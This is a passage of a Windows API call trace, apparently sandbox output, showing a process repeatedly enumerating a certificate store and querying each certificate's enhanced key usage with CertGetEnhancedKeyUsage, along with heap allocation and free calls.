pcbUsage=0x9ba874) returned 1 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x33f6520, pcbUsage=0x9ba874 | out: pUsage=0x33f6520, pcbUsage=0x9ba874) returned 1 [0081.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6520 | out: hHeap=0x2ad0000) returned 1 [0081.669] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6ca0, pcbUsage=0x9ba874 | out: pUsage=0x33f6ca0, pcbUsage=0x9ba874) returned 1 [0081.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ca0 | out: hHeap=0x2ad0000) returned 1 [0081.669] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de958, pcbUsage=0x9ba874 | out: pUsage=0x31de958, pcbUsage=0x9ba874) returned 1 [0081.669] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0081.669] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24cd0 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.669] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x334cb20, pcbUsage=0x9ba874 | out: pUsage=0x334cb20, pcbUsage=0x9ba874) returned 1 [0081.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cb20 | out: hHeap=0x2ad0000) returned 1 [0081.670] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.670] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.670] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6d20, pcbUsage=0x9ba874 | out: pUsage=0x33f6d20, pcbUsage=0x9ba874) returned 1 [0081.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d20 | out: hHeap=0x2ad0000) returned 1 [0081.670] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.670] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.670] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de958, pcbUsage=0x9ba874 | out: pUsage=0x31de958, pcbUsage=0x9ba874) returned 1 [0081.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de958 | out: hHeap=0x2ad0000) returned 1 [0081.670] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.670] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.670] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x35b9700, pcbUsage=0x9ba874 | out: pUsage=0x35b9700, pcbUsage=0x9ba874) returned 1 [0081.670] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9700 | out: hHeap=0x2ad0000) returned 1 [0081.670] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c375e8, Size=0x160) returned 0x33e7920 [0081.670] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.670] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.671] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de750, pcbUsage=0x9ba874 | out: pUsage=0x31de750, pcbUsage=0x9ba874) returned 1 [0081.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0081.671] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b90 [0081.671] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.671] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x33d0de0, pcbUsage=0x9ba874 | out: pUsage=0x33d0de0, pcbUsage=0x9ba874) returned 1 [0081.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d0de0 | out: hHeap=0x2ad0000) returned 1 [0081.671] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24cd0 [0081.671] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.671] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x33d0ed0, pcbUsage=0x9ba874 | out: pUsage=0x33d0ed0, pcbUsage=0x9ba874) returned 1 [0081.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d0ed0 | out: hHeap=0x2ad0000) returned 1 [0081.671] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.671] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.671] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1920, pcbUsage=0x9ba874 | out: pUsage=0x33d1920, pcbUsage=0x9ba874) returned 1 [0081.671] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1920 | out: hHeap=0x2ad0000) returned 1 [0081.672] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x33d1380, pcbUsage=0x9ba874 | out: pUsage=0x33d1380, pcbUsage=0x9ba874) returned 1 [0081.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1380 | out: hHeap=0x2ad0000) returned 1 [0081.672] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24af0 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.672] GetLastError () returned 0x80092004 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.672] GetLastError () returned 0x80092004 [0081.672] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334cee0, pcbUsage=0x9ba874 | out: pUsage=0x334cee0, pcbUsage=0x9ba874) returned 1 [0081.672] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334cee0 | out: hHeap=0x2ad0000) returned 1 [0081.672] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.672] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de7b8, pcbUsage=0x9ba874 | out: pUsage=0x31de7b8, pcbUsage=0x9ba874) returned 1 [0081.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de7b8 | out: hHeap=0x2ad0000) returned 1 [0081.673] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.673] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.673] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a1ab18, pcbUsage=0x9ba874 | out: pUsage=0x2a1ab18, pcbUsage=0x9ba874) returned 1 [0081.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ab18 | out: hHeap=0x2ad0000) returned 1 [0081.673] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.673] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.673] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de750, pcbUsage=0x9ba874 | out: pUsage=0x31de750, pcbUsage=0x9ba874) returned 1 [0081.673] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de750 | out: hHeap=0x2ad0000) returned 1 [0081.673] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.673] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.678] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d0de0, pcbUsage=0x9ba874 | out: pUsage=0x33d0de0, pcbUsage=0x9ba874) returned 1 [0081.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d0de0 | out: hHeap=0x2ad0000) returned 1 [0081.678] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.678] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.678] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2a18ef0, pcbUsage=0x9ba874 | out: pUsage=0x2a18ef0, pcbUsage=0x9ba874) returned 1 [0081.678] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18ef0 | out: hHeap=0x2ad0000) returned 1 [0081.678] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.679] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d2a0, pcbUsage=0x9ba874 | out: pUsage=0x334d2a0, pcbUsage=0x9ba874) returned 1 [0081.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d2a0 | out: hHeap=0x2ad0000) returned 1 [0081.679] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334d160, pcbUsage=0x9ba874 | out: pUsage=0x334d160, pcbUsage=0x9ba874) returned 1 [0081.679] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0081.679] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b90 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.679] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x334d160, pcbUsage=0x9ba874 | out: pUsage=0x334d160, pcbUsage=0x9ba874) returned 1 [0081.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334d160 | out: hHeap=0x2ad0000) returned 1 [0081.680] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33e7920, Size=0x1a8) returned 0x3028af0 [0081.680] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.680] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.680] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6ca0, pcbUsage=0x9ba874 | out: pUsage=0x33f6ca0, pcbUsage=0x9ba874) returned 1 [0081.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6ca0 | out: hHeap=0x2ad0000) returned 1 [0081.680] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.680] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.680] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1740, pcbUsage=0x9ba874 | out: pUsage=0x33d1740, pcbUsage=0x9ba874) returned 1 [0081.680] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1740 | out: hHeap=0x2ad0000) returned 1 [0081.680] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24cd0 [0081.680] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.680] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x2a1ff58, pcbUsage=0x9ba874 | out: pUsage=0x2a1ff58, pcbUsage=0x9ba874) returned 1 [0081.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0081.681] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.681] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.681] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x35b9478, pcbUsage=0x9ba874 | out: pUsage=0x35b9478, pcbUsage=0x9ba874) returned 1 [0081.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9478 | out: hHeap=0x2ad0000) returned 1 [0081.681] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.681] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.681] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9478, pcbUsage=0x9ba874 | out: pUsage=0x35b9478, pcbUsage=0x9ba874) returned 1 [0081.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9478 | out: hHeap=0x2ad0000) returned 1 [0081.681] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.681] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.681] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x35b93a0, pcbUsage=0x9ba874 | out: pUsage=0x35b93a0, pcbUsage=0x9ba874) returned 1 [0081.681] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b93a0 | out: hHeap=0x2ad0000) returned 1 [0081.682] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.682] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.682] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2a1a7d0, pcbUsage=0x9ba874 | out: pUsage=0x2a1a7d0, pcbUsage=0x9ba874) returned 1 [0081.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a7d0 | out: hHeap=0x2ad0000) returned 1 [0081.682] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.682] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.682] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1560, pcbUsage=0x9ba874 | out: pUsage=0x33d1560, pcbUsage=0x9ba874) returned 1 [0081.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1560 | out: hHeap=0x2ad0000) returned 1 [0081.682] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.682] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.682] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2a1ffb8, pcbUsage=0x9ba874 | out: pUsage=0x2a1ffb8, pcbUsage=0x9ba874) returned 1 [0081.682] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0081.682] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.682] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.683] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.683] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.683] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.683] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334c940, pcbUsage=0x9ba874 | out: pUsage=0x334c940, pcbUsage=0x9ba874) returned 1 [0081.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x334c940 | out: hHeap=0x2ad0000) returned 1 [0081.683] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.683] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.683] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de680, pcbUsage=0x9ba874 | out: pUsage=0x31de680, pcbUsage=0x9ba874) returned 1 [0081.683] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0081.683] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.683] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.684] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33d0ed0, pcbUsage=0x9ba874 | out: pUsage=0x33d0ed0, pcbUsage=0x9ba874) returned 1 [0081.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d0ed0 | out: hHeap=0x2ad0000) returned 1 [0081.684] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.684] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.684] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1380, pcbUsage=0x9ba874 | out: pUsage=0x33d1380, pcbUsage=0x9ba874) returned 1 [0081.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1380 | out: hHeap=0x2ad0000) returned 1 [0081.684] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.684] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.684] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9478, pcbUsage=0x9ba874 | out: pUsage=0x35b9478, pcbUsage=0x9ba874) returned 1 [0081.684] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9478 | out: hHeap=0x2ad0000) returned 1 [0081.685] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.685] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.685] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.685] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24af0 [0081.685] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.685] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9988, pcbUsage=0x9ba874 | out: pUsage=0x35b9988, pcbUsage=0x9ba874) returned 1 [0081.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b9988 | out: hHeap=0x2ad0000) returned 1 [0081.685] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.685] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.685] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.685] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.685] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x3028af0, Size=0x1f8) returned 0x2c30190 [0081.685] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.686] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.686] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1560, pcbUsage=0x9ba874 | out: pUsage=0x33d1560, pcbUsage=0x9ba874) returned 1 [0081.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33d1560 | out: hHeap=0x2ad0000) returned 1 [0081.686] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.686] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.686] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.686] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f3ca8 | out: hHeap=0x2ad0000) returned 1 [0081.686] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24b90 [0081.686] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.686] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x2a1a370, pcbUsage=0x9ba874 | out: pUsage=0x2a1a370, pcbUsage=0x9ba874) returned 